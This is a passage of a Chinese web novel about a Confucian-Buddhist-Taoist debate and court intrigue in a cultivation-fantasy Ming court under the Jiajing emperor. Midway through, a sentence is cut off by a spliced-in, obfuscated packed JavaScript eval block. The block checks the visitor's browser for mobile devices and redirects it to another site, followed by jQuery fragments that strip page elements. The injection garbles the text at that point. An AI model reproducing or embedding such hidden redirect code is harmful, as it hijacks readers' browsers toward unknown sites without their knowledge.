今日论道,就是从清风自辩“道以修仙扰政”,提出道家无为而治,进行解释“修仙”和“扰政”,所以张慎行就以此穷追猛打。 “道家言“无为而治”,非谓全然弃绝法度,而是强调顺应自然之道,简政放权,使人民能够自我调节,自发形成良好秩序,然而……”说到这里,张慎行语气一顿,道: “下官以为,若无明确之法度,则百姓易生懈怠之心,社会难保其安定。” “又有《论语·卫灵公》曰:道之以政,齐之以刑,民免而无耻。道之以德,齐之以礼,有耻且格。” “此言,恰恰说明,儒家之德治与法治并重,而非单凭自然之力!” 否定道家,自然无为的主张后,张慎行也不停歇,继续开口进行驳斥。 “道家主张简化政令,使民心淳朴。然臣以为,若无具体之政令,则民心易散,社会难治。” “儒家主张修身齐家治国平天下,由内而外,层层推进。唯有先正己身,方可正他人,最终达至国家之治。” “《大学》有云:物有本末,事有终始,知所先后,则近道矣。儒家之礼法,正是以此为依据,先正其身,再正其家,然后平天下。” 从“无为而治”到“自然无为”再到“简化政令”三点,对清风此前所言进行三位一体的驳斥后,张慎行傲然环视众人道: “因此,道家之无为,不如儒家之道!”说完,张慎行不再言语,身后之人却是为他暗暗喝彩。 不过就在这时,不等清风开口说话,只听偏殿玉熙宫内,又传来一声铜罄嗡鸣声。 听到这里,众人都知道,这场儒释道三教论道,算是经过皇上判定,算是正式结束了。 这一道罄鸣,算是皇上亲自出手判定,清风输了! 此时,张慎行傲然而立,他身后的一众御史言官,还有其他弹劾死谏的官员们,则是各个喜形于色,这次论道,张御史一人镇压佛道! 而不论是佛门的天才,还是道门的清风国师,全都败在他手中! 如此一来,一旦传扬天下,整个大明百姓,都会知道,儒家才是国之正统。 第一百六十四章 海瑞的本命,皇帝怕了!何人在出手?道士下山,沙弥入世! 宁波府,后堂书房里。 海瑞跟王用汲,此时都已经收到了朝堂之上发生的一切。 “呼,”片刻之后,王用汲放下手里的信笺,“这小阁老要变法,与孔家交恶,首先就撞上了儒宗,不曾想这个时候又等上了儒释道三教之争,多事之秋啊……” 听到王用汲这一声叹息,海瑞也放下手里的信笺,不过与王用汲的叹息惆怅不同,他的脸上,却没有太多的表情。 “儒释道三教之争,就是严党故意为之。”海瑞语气平淡。 “嗯?”听到海瑞这么说,王用汲一怔,下意识的坐直身体,身子微微前倾,“刚峰兄,你这是什么意思?严党故意为之?” 王用汲有些不明白海瑞的意思。 “严党想要变法,如今已经得罪了儒宗,他没有必要再将佛门和道门也牵扯进来,让事态变得更为严重啊?”王用汲说着一摊手。 王用汲,虽然现如今也算是站在大明高层的核心圈,但在政治嗅觉上,相比于内阁众人,以及海瑞,终究还是差了一些。 当然对严嵩等人的了解也不够深,或者说他对严家的了解,还停留在奸佞,贪官层面,与绝大多数人一样,从未将严嵩看作是一个能臣。 因此不论严嵩做什么,在他的视角里,那必须是不做好事的行为。 “呵,”看着好友这一副一脸懵的样子,海瑞倒是没有轻视的意思,严肃的面容微宽,微凝的眸子里,露出一抹笑意,道: “因为此事最大的受益者是严家。” “严家?受益者?”听到这说法,王用汲又是一懵,道:“刚峰兄,我说过的现如今严家和孔家对上,导致严党和整个儒宗决裂。” “就算野党内部也有不少人倒戈,那督察院,左都御史张慎行,他便是如此!” “如今又挑起三教之争,若是乱起来,皇上岂能饶得了他们?” “若是高层,包括皇上在内,所有人都要让卢儒释道三家之争闹大,彻底乱起来呢?”王用汲话音刚落,海瑞的声音也跟着响起。 “什,什么?!”听到这话,王用汲显然有些没有反应过来,而后微吸一口气,又重复道:“刚峰兄的意思是,皇上和内阁……” “不错,”海瑞点了点头站起身,也不再拐弯抹角,直接对好友解释起来,“三教之争闹大,等同于将儒宗与严家的矛盾转移。” “当闹得不可收拾的时候,朝廷就有了不得不出面的理由,那时就是一刀切的时候。”说着,海瑞转身凝视着王用汲,道: “明受我问你,如今摆在小阁老变法前最大的难题是什么?” “孔家,或者是儒宗,小阁老为了对孔家下手,要让百家学说取缔儒宗,若是成了,儒宗上千年的地位,将被动摇,根基被撅……” 说着,王用汲身体一怔,神情间有恍然之色浮现,语速飞快道:“把事情闹大,朝廷一刀切下去,那么儒释道三家都会因此而彻底崩溃!” “佛道两家倒是无所谓,就算届时从轻发落,也不过是一句话的事,重点是儒宗,如此一来变法之路畅通……嘶!” 王用汲说着,倒吸了口凉气。 这一刻,他突然有种茅塞顿开的感觉,同时也觉得严嵩竟有如此之深的布局。 “朝廷一刀切,那岂不是要朝廷来担责?儒宗的地位你我都明白,就不怕儒宗反弹?从而引起不必要的慌乱吗?”王用汲皱眉道。 “明受,你错了!”然而这时,海瑞突然肃容开口,“首先,朝廷不接受任何威胁!” “只要是为了变法能顺利推行下去,任何人,或者家族,又或者是其他什么存在,胆敢拦在面前,只有一个下场……”海瑞双目凝视着王用汲,道:“那就是被处理掉!” “其次,就算真的大乱之后,要一刀切,处理什么人,也自有人会承担这一切。” “只要有人承担了这一切,那么不论是谁,信与不信,都不能拿朝廷说事!” 听到这里,王用汲沉默片刻后,点了点头,道:“确实如此,若是三教之争被一刀切了,就算到时候三教有人不服,为了生存也不会把气撒到朝廷,撒到皇上头上,可是……” 说着,他又像是想到了什么,看向海瑞,道:“可是,这朝廷又有何人敢做这把……”不过这次,他话刚说到一半便立刻闭嘴。 双眼瞪大,怔怔的看着面前的好友。 就问现如今的大明,最适合给皇上当刀的人,除了自己面前的好友以外,还有谁呢? “儒释道,三教又如何……”海瑞没有看望着自己的还有王用汲,一手背后,一手用手背,手指轻轻摩擦着桌上的大明律,道:“任何学说、教派,都不能凌驾于王朝律法之上。” “咕嘟。”看着海瑞,痴痴望着大明律的模样,王用汲下意识的吞了口口水。 不知道为何,此刻他突然有了一种,不论三教之争会闹到多大的地步,最终都会在自己这位好友海瑞的手中,彻底终结的错觉。 仿佛只要他出手,任何大乱都能镇压。 视线缓缓拉开,嘉靖看着面前被他单独拿出来的宁波府后堂书房的一切,面上露出笑容,手 指轻抬了抬,下一刻本命放大。 继而,海瑞识海内的一切,就呈现在了嘉靖面前,不过此时在海瑞的识海中,却静静躺着一本泛着金色光芒的书籍。 只见上面写着三个威严大字:大明律。 不错,海瑞的本命,就是大明律这本律法书籍。与张居正的本命一样,不同的是,张居正的本命书上写的只有“大明”二字。 主要内容是他的治国理念,海瑞的相比起来,则是要纯粹了许多,只是单纯的律法。 不过,这律法的潜力,在嘉靖看来,却是要比张居正的强不少,治国理念这东西有很多限制的,而且大明的发展与方向也不是他说的算。 反倒是大明律,不论日后大明,日后如何发展都离不开王朝律法。 “修行通识纪要记载,每个人的本命都有其独特的天赋,就如刘权的本命是看破虚妄,可以检验出一个人是否撒谎。” “这大明律为本命,怕是以后,海瑞一本大明律,就可以治仙朝所有人了!” 想着,嘉靖的目光从海瑞的识海中退出,啊?大手一挥面前的立体宁波府后堂书房就消失不见,重新并入识海本命之中。 山东,曲阜,空间大堂之中。 “好!”孔贞干看着手上,从朝廷发来的关于那日玉熙宫中,三教论道的具体内容,不由的发出一声低喝后,道:“这个张慎行,老夫果然没有看错于他,好!” “玉熙宫论道,我儒宗独压佛道二教,此举当为世人所知……尚贤!”说着,看向身旁的孔尚贤,道:“你也看看!” 站在孔贞干身后的孔尚贤接过手里的信笺看完后,眉头却是微微蹙起。 “父亲,”孔尚贤迟疑片刻后,道:“您打算如何?” “尚贤,”孔贞干轻轻一捋胡须,上前一步,来到大堂门口,看着门外飘扬零星的雪花,“你觉得,皇帝为何要举行三教论道?” “儿子以为,三教论道应该是为了应对此次,我儒宗的反弹,皇上想要借此机会平息此事,”随着孔尚贤开口,孔贞干也微微点头,“听闻,那禅霜法师是严嵩推荐的。” “而那国师,清风玄灵守真慧悟真人,也是严嵩举荐,佛道二教都可以看做是严党的人。” 孔贞干不断的点头,示意儿子继续说下去。 “这次论道,一个国师,一个佛门天才,都被我儒宗击败,”说着,孔尚贤的语气略微迟疑,“就担心,佛门和道门不会善罢甘休。” 听到孔尚贤如此说,孔贞干雪白的眉头微微皱起,不过却是没有说话,而是继续听着。 “儿子认为,皇上可能要利用此次三教论道,挑起佛门和道门对我儒宗的不满……” “尚贤,”孔尚贤话还没说完,就被孔贞干出声打断,“你太高看释道二教了。”说着,孔贞干脸上露出一抹冷笑,道: “他们,也配与我儒宗相提并论?” “父亲?!”听到父亲这番话,孔尚贤一愣。 “你前面分析的都对,严嵩是皇帝的心腹,那道门妖女,佛门所谓的天才,也不过是腌臜贱婢,都不过是严嵩谄媚献上的玩物而已!” “他们确实想以此,来针对我儒宗,”说到这里,孔贞干面色陡然转冷,继而转身凝视着儿子孔尚贤,道:“但皇帝不是要用释道二教,来对付我儒宗,皇帝知道他们不是对手!” “换句话说,是这一次我儒宗的空前影响力,让皇帝害怕了,一个王朝他可以离开佛门,也可以离开道门,但它绝对离不开儒宗!” “父亲,”听着父亲这一番狂妄的言论,孔上斜眉头微微蹙起,而后抬起双臂微微拱了拱手道:“皇帝不是以前的那个皇帝了!” “从整顿南北,继而整顿吏治,再到清理宗室弊端,还有那一场灭国之战,再到如今的十方臣服,无一不在说明这是一位雄主。” “请恕儿子无法认同父亲的观点,他是断然不会向儒宗妥协的!” “哼!”听完孔尚贤的这一番话,孔贞干则是发出一声哼笑,出其意外地,他脸上没有露出什么不满之色,而是轻笑一声道: “我几时说过皇帝会向儒宗妥协?” “那父亲的意思是?”看着父亲脸上的笑容,还有浑身上下散发着的自信气质,孔尚贤有些发愣,满脸不解之色。 “你说的不错,现如今的那位皇帝和以前相比起来,的确是一位雄主,大明也因为他而迎来了一场空前的盛世,他是不会妥协的。” “但他更在乎帝国是否安宁,是否有人治理!” “所以,这次的事,就是一个敲打,也是个试探,之后他便会当做不曾发生。” “你不妨看着,只要我孔家将这次的事情宣扬出去,佛道二教必然会因此而不满,届时闹大了,就舍去那佛道二教……” “如此一来,天下儒生都会将矛盾转移,严家或许不会怎么样,但这次的事必然会因此而平息,所以我孔家根本无需顾虑什么!” “只需要配合那位皇帝,不,确切的说是,我孔家愿意给他一个台阶!” “一个配合着他的意愿,把事情闹大,然后让他处理佛道二教,平息事态!” 说着,孔贞干负手而立,傲然的看着满天的大雪,恒笑道:“儒宗势大,给皇帝警醒,但也要告诉他,莫要自误。” “治国舍儒其谁?百家学说?千载岁月,笑到最后的只有我儒宗。无数帝王实践挑选出来的,最完美的王者之剑,岂能说废便废?” “看着吧,尚贤,严世蕃要变法,不论如何,我儒宗都会屹立不倒,而佛道二教,就是这场变法的祭品,哼哼哼……” 这一刻,孔贞干觉得自己看穿了皇帝的意图,他知道变法应该不会停止,毕竟从此前几件事来看,这位皇帝要做的都成了。 而他,要的就是借着这件事,把事情闹大,告诉皇帝,儒宗永远不可能被废弃! 这种无形中的,与帝王的默契,自己的儿子孔尚贤,终究是太年轻了,还缺乏历练。 而父亲孔真干的一番分析之后,孔尚贤这才恍然大悟的点了点头。 “那父亲,接下来?”孔尚贤问道。 “发动我孔家的所有人脉关系,将这次三教之争以我儒宗大胜而结束一事,宣告天下。” “最好激起佛门和道门的胜负心,如此我儒宗还能以此再次扬威,要的就是让事情闹大!” “皇帝要台阶,我就给他,也希望他能看清楚儒宗的力量,还有佛道二教是如何的不堪一击!让他明白,皇权,离不开儒儒宗!” “是!”孔尚贤躬身一礼,转身大步离去。 孔贞干为什么如此自信?原因很简单,这份自信源于儒宗对皇权的作用和不可或缺。 身为孔家后人,衍圣公,他对儒宗的本质是什么?太清楚不过了! 说白了,儒宗生存的本质,就是当好皇权最好的御下工具,没有皇帝不喜欢儒宗。 所以如今这一出戏在他看来,刚开始不过是严世蕃这个狂悖小人想要对孔家下手,而身为皇帝,自古以来都离不开那颗猜疑心,京城皇宫里的那位皇帝也是一样的,他更大的可能是想借此机会,对儒宗进行一次试探。 如此,才会有了现如今的一切。 而这一次,儒宗所展现出来的力量想必也让那皇帝明白了,儒宗是不可能被废除的。 那么这件事的最终走向结果,也就无比明朗了。 必然就是自己所料想的那样,自己配合皇帝把事情闹大,来一场更加热闹的三教之争,从而转移天下士人学子的注意。 如此一来,皇帝要对儒宗动手所引发的士人学子的不满,也就在无形当中消弭了。 然后以佛门和道门被皇帝收拾,作为这场大乱的结局,这件事情也就正式的落下了帷幕。 至于皇帝要变法,那便让他变吧,只要不影响儒宗的地位,不影响他孔家就行! 其实,适当的来这么一出,给皇帝一些小小的震撼……嗯,倒还不错? 随着衍圣公孔贞干的一道命令发出,孔家的所有人脉,关系网都运作了起来。 一时间,原本就因为玉熙宫三教之争而引发广泛讨论的大明,再一次因此而被推上了风口浪尖,不少士人学子都开始吹捧儒宗。 不仅如此,在严家、清流、还有孔家三方默契配合,自主当推手之下,道门跟佛门更是被架在了火上烤,不少人开始抨击二教。 有士人学子,更是作诗隐射国师,说道门转出蛊惑人心的妖道,有说佛门僧人贪婪无度。 之后在大明境内,更是有不少官府,发现深山道观,不但不是什么清修之地,反而是杀人越货,人口卖买所在。 不仅如此,还有官员在一些佛门之地,发现有佛门之人,聚拢女尼卖身拢财。 一时间,这些事情在有心之人的安排下,开始无限放大,佛道二教更是因此而被天下人所不耻,不少寺庙被激愤的百姓围堵。 某些道观也遭到了不少官府封抄。 不少人更是因此而喊出了口号,要求朝廷严惩佛门和道门,甚至扬言要灭佛,和灭道。 事情越闹越大,席卷整个大明,一个月时间,佛道二教已经快要臭了。 嘉靖四十八年,四月十五,阴。 西苑,玉熙宫内,嘉靖面前本命大明放大,置于他面前,而在他身边吕芳静静候着。 吕芳第一次看到整个大明竟然在主子掌中的时候,当真是心中惊骇异常,不过想到主子能视听大明后,对这一切倒又觉得正常了。 主子所展现出来的手段在他看来,再多也不算多。毕竟现如今大明能发展到如今的地步,他们这些人能够修仙,长生可望都是因为主子。 不就是将整个大明视作掌中之物吗?很奇怪吗? 主子没有说为何整个大明会在掌中,吕芳也不会去问,他也不需要知道。 “嗡。”随着嘉靖心念一动之间,面前的大明本命陡然放大,嘉靖置身其中,手中帝玺此刻已经化作了一支笔的模样。 “哗!”随着嘉靖大手挥动之间,继而就见整个京城被单独分离了出来。 下一刻手中大笔滑动,跟着就见一个“∞”符号出现,而在这个符号中间则是皇宫位置,跟着嘉靖又用大笔在这个符号的边上勾勒起来。 不一会,就见这条线的边上,被引出了一 道道线条,不一会就在在整个京城铺设开来,每到一个点上,就会有一个“●”出现。 当本命被放大的时候,吕芳看的分明,这些“●”就是内阁众人,两座王府所在。 想到主子出关之日,说要在大明铺设灵脉,并引导灵脉支流直通内阁众人的府邸,吕芳顿时明白,主子这是在规划灵脉铺设的路线。 标注好需要引入灵脉支流后,嘉靖又在灵脉铺就路线上,标注好了‘反向聚灵阵’的点。 现如今的大明只有一条灵脉,虽然这条灵脉是七品灵脉,灵气可以说是浓郁至极,但整个地球毕竟没有被自己纳入本命物,灵气还是会逸散,所以为保证灵气的充分利用,这‘反向聚灵阵’必须要布下,如才才能防止灵气散去。 再者说,就算是在修仙世界,依旧离不开灵脉梳理,宗门也要禁锢灵脉,布下‘反向聚灵阵’如此才能,确保灵脉灵气最大化利用。 放在大明,那就更要如此了。 当然‘反向聚灵阵’布下了,也不可能完美封锁灵气不外泄,毕竟大明不是修仙世界。 修仙世界,只要灵脉大致引导灵气注入指定地点,确保不外泄就够了,局部泄露的那点,就当是充沛宗门区域灵气了。 最重要的是,修仙世界整个大明仙宗,都被护宗大阵所笼罩,此外还有更大型的聚灵阵,因此灵脉品阶越强,宗门灵气就越浓郁充沛。 “成了,”抬手间,帝玺化作的笔散成点点金光,然后消失不见,看着灵脉铺设路线,心中暗道:“接下来时间,只需要在大明布置好阵基,然后安排好反向聚灵阵的阵图绘制,便可完成灵脉的铺设了,京城也将成为一片福地。” 京城,是未来,大明仙宗的核心所在,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669381|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的灵气浓郁度,要无限制的提升! 甚至,嘉靖已经打算好了,日后得到了更高品阶的灵脉,也要从京城铺设出发,延伸至大明各地,乃至于整个世界! “儒释道三教如何了?”抬手散去面前的本命大明,嘉靖背着手走向后院。 见此,吕芳赶紧跟上,同时开口汇报了起来,这一个多月来,儒释道三教发生的事。 “嗯?”当听到佛道二教已经成为过街老鼠,嘉靖也是眸子里流露出一抹诧异之色,“徐阶等人出手帮严嵩了?” “回主子,不是,”看出主子神情间的疑惑之色,吕芳则是开口笑了笑,道:“是孔家……”说着,孔家所有的动作说了一遍。 “这个孔贞干,莫非老糊涂了?”嘉靖来到院子里,已经长的有三米高的大柳树下,回头诧异的看向吕芳。 嘉靖是真的疑惑了,当然,他之所以不知道,是因为孔家压根就没入他的眼,试听天下的时候,自然也就没有特意去关注。 只是没想到,孔贞干这个孔家这一代的衍圣公,竟然还如此眼盲心瞎。 “奴婢也想不明白,”吕方说着也疑惑地摇了摇头,道:“按理说,他应该能看出来,儒宗大胜佛道两家,必然会成为众矢之的。” “万一这个时候,有人推波助澜一下,那他儒宗就要面对佛门和道门的反扑了。 他这个时候,最应该做的应该是低调才是,可他却偏偏走了这么一步棋……” 吕芳自诩自己身为站在大明王朝权力巅峰的位置,他的政治嗅觉和头脑可以说是不再任何人之下,眼下明眼人都能看出来朝廷这是要对儒宗动手了,佛道二教就是对付他们的工具。 可这个时候孔贞干不但没有低调,反而开始激怒佛门和道门,这是要做什么? “莫非,有什么后招?”吕芳说着,也好奇的看向嘉靖,试图从主子这里得到一些答案。 当然,此刻疑惑的不光是嘉靖和吕芳,严嵩父子还有清流众人,也是满脑袋雾水。 严府。 灵田小院,严嵩的茅屋里。 “莫非,是清流出手了?”严世蕃皱着眉头,看着最近一个月,大明各处传来的情报,看向同样沉默着的老爹严嵩。 “清流本就跟那些自诩士大夫的人走的近,这些人当中,绝大多数人又与孔家走的近,”严世蕃说着,神情逐渐变得肯定,道: “应该是他们了,哼……”想着,严世蕃又发出一声冷哼,道:“这帮畜生,这是知道,变法是皇上的意志,所以想要劳功了!” “难道我严家,还需要他们帮助不成?” 在严世蕃看来,这就是清流一派在邀功,按照自己跟老爹二人的部署,根本用不着清流一派在背后推波助澜,此前想要的目的就能达成。 现在这帮孙子突然横插一脚,这不就是在做给皇上看吗?到时候皇上还能少他们的好处? 虚伪,狡诈,卑鄙,无耻,下流。 “这是不可避免的,清流定然会在背后推波助澜,”严嵩语气温吞,道:“孔家这次算是被放在火上烤了……世蕃!” “爹!”严世蕃知道,老爹这是又有安排了,当即探了探身子向前,等着老爹的吩咐。 “之前让通政司在邸报之外另立‘杂报’,准备的如何了?”严嵩抬眼看着严世蕃。 杂报,与大明邸报作用类似。 不同的是,邸报的内 容主要包括皇帝政令、朝廷大政、官员之间的相互弹劾、各地天灾等。 邸报主要分为京内和京外两大部分。 京内能做到每天收到一份邸报,而京外则因为距离远近不同,得到的消息有快有慢。 邸报在通政司写好定好后,由秀才人工抄写,然后送到在京各衙门。 京外的邸报则由提塘官摘选和本省有关的信息进行二次编写,然后通过官方邮政发回本省。 总的来说,邸报专门报的是朝廷大事。 而严嵩要另立的‘杂报’则是一种完全的,记录一些杂谈,比如志怪传闻,又或者是一些江湖趣闻,或是某某酒楼,客栈宣传等等。 属于更容易引起百姓乐趣,并为之一直购买,阅读,引导舆论的东西。 这东西一旦普及是要面向整个大明,两京一十三省,细节要微到村镇的。 杂报这东西,严嵩早在严世蕃变法之前,就已经着手开办了,当然也是经过二王和内阁一致同意,司礼监众人批红的。 嗯,至于批红这些,吕芳自然是通过祷告的方式,在嘉靖闭关的时候就询问过的。 如今各地衙门都已经成立了专门的‘报司’,一般情况下,京城如果没有特殊政令的话,地方衙门是可以自主刊印的。 当然,既然是盈利性目的,民间百姓,还有一些书商、又或者是商人,都允许刊登宣传。 不过定价各有不同,一切以地方衙门定价为标准,不过不能乱收费,朝廷会定期检查。 如今的大明,随着整顿吏治开始,体制也是越发的完善了起来。 比如京察,两京的京察原本是六年一次,如今已经缩短到了一年一次,地方上的巡查也是半年一次,甚至是随时巡查。 所以,一般情况下没有人敢中饱私囊。 “爹,都准备好了,现如今地方上也都等‘通政司’这边消息了。”严世蕃开口道。 “吴承恩呢?他的‘西游释厄传’初稿,修改到第几回了?”严嵩又开口问道。 “第五十五回了,其他还在修改中。”严世蕃开口道。 “嗯,”严嵩点点头,“不少了,开始发吧,第一版的杂报,将儒释道之争多写点,主要是挑起三教矛盾,另外就是让‘西游’火起来,虽然如今这把火已经很大了,但还不够。” “必须要弄到三教不死不休的局面才行。” “放心吧,我知道,”严世蕃重重点了点头,表示自己明白,不过紧跟着,严世蕃的眉头又不由得皱了起来,道: “爹,如今儒宗如此的欺压佛门和道门,但这两家至今为止,还没有什么动静……” “呵,”闻言,严嵩轻笑一声,温吞道:“道门没动静,应该是清风丫头给了信,佛门没动静,应该是等皇上的态度……” “道门有清风丫头在,可以稳住,不用担心。佛门没有靠山,他们跟儒宗打起来,在不清楚朝廷的态度之前,他们是不会轻举妄动的,这也是佛门一贯以来的自保手段而已。” “等杂报发了,皇上也会给禅霜法师一个名分的,那时候儒释道三教都有同等地位。” “只有三方全部势均力敌,如此才能打一场持久战,如此才能由三教引发大乱。” “明白了,我这就去办!”严世蕃点了点头,转身离开。 徐府,大堂之中。 “你们谁出手了?”此时,赵贞吉第一发问。 此时,他们同样一脑袋雾水,不明白这次儒宗为何反应如此激烈,这完全就像是有推手在推波助澜一样。 严党肯定不可能,现如今的严党,早已经有了分崩离析之势,严党那些真正有能力的能臣,基本上都已经因为儒宗,孔家和严党决裂了。 这个时候,有能力当推手,把事情推至如此地步的,只有他们清流一派。 赵贞吉的目光环视一圈,看向张居正和高拱,最后定格在徐阶身上。 “不是我,”徐阶微微摇头,“我们在这次的事件中,只充当一个推手,具体的还要等严嵩那边出手了以后,我们才会行动……” “我也没有出手。”见徐阁老否定出手,张居正也赶紧摇头,表示自己也没出手,“你们知道我的,我若是出手,不会如此急切。” 闻言,赵贞吉点头,确实,太岳向来谋而后动,就算是推波助澜,也不会这么急。 “哼,”迎着赵贞吉投来的目光,高拱冷哼一声,道:“我?上赶着帮严党?美不死他!” “难不成是宫里?”赵贞吉狐疑道,不过很快又摇了摇头,“由三教之争,引发大乱,最后引入百家学说,达成变法目的是严世蕃推动的,皇上是不会给严世蕃兜底的。” “这到底是谁?”赵贞吉无语道:“总不会是孔家自己吧?看到玉熙宫三教之争,沾了点光,就开始迷眼,找不着北了?” “呵,”赵贞吉摇头,道:“那位衍圣公不是笨人,他应该能看得清,朝廷要变法,而他们儒宗就是打在变法路上的一块石头。” “朝廷正在想办法把他们踢开呢,所以现在最不想把事情闹大的应该是他才对。” “啧,”赵贞吉咂了咂舌,道:“难 第一百六十五章 孔尚贤:爹,收手吧!佛道对轰,严世蕃:可以结束了! 京城,西苑,万法宝殿外。 “国师,这里日后就是你的居住地了。”陈洪谄媚的看着面前一袭灰色粗布麻衣,瘦瘦弱弱,皮肤细腻紧致的佛门天才道。 终于,轮到他陈洪伺候一个国师了。 嗯,吕芳让自己的干儿子黄锦,伺候在了国师清风的身边。 众所周知,皇上对国师清风,那可是恩宠无比,如此一来也就导致黄锦那个自己向来看不起的蠢货,地位直线上升。 再加上黄锦原本就是东厂的督主,如此一来,地位竟然比自己还要隐隐高出一头。 这让向来自诩地位上,与吕芳这个主子大伴并驾齐驱的陈洪,在自尊心上很是受不了。 吕芳自己比不了,再加上现如今吕芳又是练气二层的修仙者,自己就更没有超赶的可能,可你黄锦又算什么东西?凭什么高我一头? 现在好了,自己也终于落得了一个伺候国师的差事。 陈洪原本也是打算效仿吕芳,让自己收的干儿子去伺候这个佛门新来的国师,不过想到自己麾下的那些人一个个就跟狼崽子似的,吕芳敢放心的把权利交出去,那是因为黄锦知恩图报。 再加上吕芳在主子心中的地位,几乎无人可以比拟,所以根本不担心那一点点伺候人的权利流出去,就会威胁到他的地位。 可是自己不行,佛门少女国师虽然是一个女尼,但是这脸蛋儿身段,可都不差。 最重要的是,这位佛门少女国师,不论是在佛法的造诣上,又或者是自身的气质上,在他看来,都是丝毫不输于个国师清风。 指不定哪天同样就会得到主子的恩宠。 若真是有那么一天的话,那么随随便便在主子面前,为自己美言上那么一两句,因此而获得主子关于修仙方面的恩赏。 嗯,恩,赏多少其实并不重要,重要的是自己在主子心里的地位。 若是换了旁人,万一国师很是满意,在主子面前为其美言上几句,那岂不是自己亲手给自己培养了个竞争对手?他才没有那么傻! 所以如此重要的差事,陈洪自然不舍得放出去,应该牢牢把握在自己手里。 看着面前高大,幽静,已经完全按照佛门制式,进行一定改造的万法宝殿,禅霜双手合十,轻声低诵了一句佛号,道: “阿弥陀佛,禅霜多谢皇上……” “国师,请吧,快进去看看,”陈洪笑着伸出手,带着禅霜入大殿的同时,道:“国师,过几日会安排一些小沙弥随身伺候,不知国师对伺候的人数上有什么要求,奴婢都会去就办……” “阿弥陀佛,”禅霜闻言,双手合十,轻声念了一句佛号,而后抬起头微微一笑道:“有劳陈公公了,若是可以的话,请在般若林,帮小僧与说与住持,带两个师妹入宫即可。” “人数太多了,难免会打扰皇上清修。” 听着这位佛门佛门国师如此说,陈洪点了点头,心中对这位佛门少女国师倒也满意。 对方很懂得分寸,如果真要带入大量的佛门之人进宫的话,这反而会让他难办,毕竟很受宠的清风国师身边,当初也才两个小童而已。 “国师放心,奴婢都会安排好的。”说着,陈洪微微一笑,作揖道:“若是没有什么事情的话,那奴婢就先行告退,还要回去禀告主子。” “陈公公请。”禅霜微微颔首。 目送陈洪离去后,禅霜小口微微张,吐出一口气,一双明亮而慈悲的眸子里,浮现出一抹忧愁之色,“三教之争,不知是福是祸……” 夜,近三更天。 相比于禅霜眉宇间却是浓浓化不开的愁容,清风此刻倒是洒脱的多,对这所谓的三教之争,丝毫不放心上,一副闲鱼状态的心态。 “只要心诚则灵啊灵啊灵,虔诚之心,感彻寰宇深。灵韵悠悠,飘啊飘啊飘,道心随风,摇曳于世外桃源旁。 山川回应,鸣啊鸣啊鸣……四季更迭,轮啊轮啊轮……有求必应啊应啊应……光明普照,照啊照啊照……天地感应,合啊合啊合……” 玄圃宫的大殿上,清风盘腿坐在三清石像下,嘴里不停的念着自己当初编撰的“问仙祷词”,在她身旁黄锦则苦着脸,愁的不行。 半晌后,等清风念完一遍后,黄锦这才上前声音着急道:“我说国师,您就不急吗?” “为什嘛?”闻言,清风刚要坐起身的动作不由一停,然后抬头眨了眨眼,看着黄锦。 为什么?这一问,把黄锦给问的一噎。 再看着自家国师这一副懵懂,不自知的模样,不对,不是懵懂,是没心没肺,根本就没把这事放在心上,黄锦顿时一急道: “您真不懂啊?”说着见这位小祖宗是真把事给抛脑后了,急声道:“那新进宫被安排在了万法宝殿的,禅霜般若净慧明心法师啊!” 黄锦说着又上前了几步,俯身直接坐在了清风对面,像是在提醒自家孩子一样,急声道:“你现在不是唯一的大明国师了,知道吗?” “知道啊。”清风点了点头。 “……知道!”黄锦一噎,不过看着清风那一副无所谓的模样,只能叹了口气继续耐着性子,道:“佛门跟道 门是竞争关系!” “如今三教之争愈演愈烈,儒宗先不说,佛道二教,现如今最大的底气可就是你们二位。” “不仅如此,全天下所有有心关注这件事的人目光都会看向宫里。” “确切的说主子的态度决定于佛道之争,谁强谁弱,甚至是与儒宗之争。” “这时候,若是那禅霜法师得到主子青睐,就会给天下人一个国师您失宠了。” “换句话说,您在宫里边的地位以及主子对您的恩宠程度,都事关这一次三教之争的走向,所以您必须要改变现状了!” “没事就多往主子那边走动走动,给外界个信号,这不光是为了道门着想,还有为了您着想,一山不容二虎,人在江湖身不由己啊!” “就算您不与人争,难保别人不争,那时候大势裹挟,不争也要争了。”说着,黄锦看着抿着嘴沉默的清风,语重心长道: “国师,现在不是山上了,您在山下,在红尘,从您成为国师的一刻起就注定了与朝廷绑定在了一起,最重要的是……”黄锦凝视着清风清澈不染半分杂质的明亮眸子,沉声道: “朝廷,希望三教之争!” 有些时候,他真的不忍心污染小孩脑袋,多么清澈明亮的眸子,看多了红尘,难免蒙尘。 不过黄锦知道,为了清风好,也必须要让她动起来,皇上不需要无用之人。 “唉!”半晌后,清风脑袋低下,发出叹息声,皱了皱一边嘴角,脸颊露出酒窝,然后用手撑着腮,嘟囔道:“好烦啊,我只想修仙……” 黄锦:“……”看着浑身都散发着一股“丧气”的国师,黄锦顿时无语。 这是怎么了?这西苑不养人吗? 瞧瞧以前多么通透,小国师清风,那是多么灵动的一个人,可是现在呢? 虽然修仙有了飘逸之姿,可怎么越发的懒洋洋的,越发的像是一条咸鱼了。 难道住西苑的人,都不喜欢处理公务吗? 主子是如此,一住就是几十年不上朝,国师也开始变得懒了起来,风水不对? “黄公公,你说要怎么做吧?”不过很快清风又振作了起来,绷着可爱的鹅蛋脸,道:“你说的对,人在江湖,身不由己嘛!” 看着努力让自己振作的清风,黄锦无奈,不过还是细心道:“就刚才说的那些,接下来没事儿,多往主子那边走动走动。” “再或者,也可以主动去接触接触那佛门国师。” “只要您在宫里边拿出个姿态来,外界也就能收到消息,如此一来不管您和那位国师之间,是否真的相斗,只要外界知道就够了。” “如此,儒释道三教之间,才会越发的激烈,不可收拾,朝廷也就达到目的了!” 已经帮着嘉靖干过不少黑事的清风,自然能明白这其中的意思。 至于道门是否会因此而落寞,嗯,那倒不至于,但肯定会因此而收拾一批道友。不过,一切为了朝廷,就苦一苦道友嘛…… 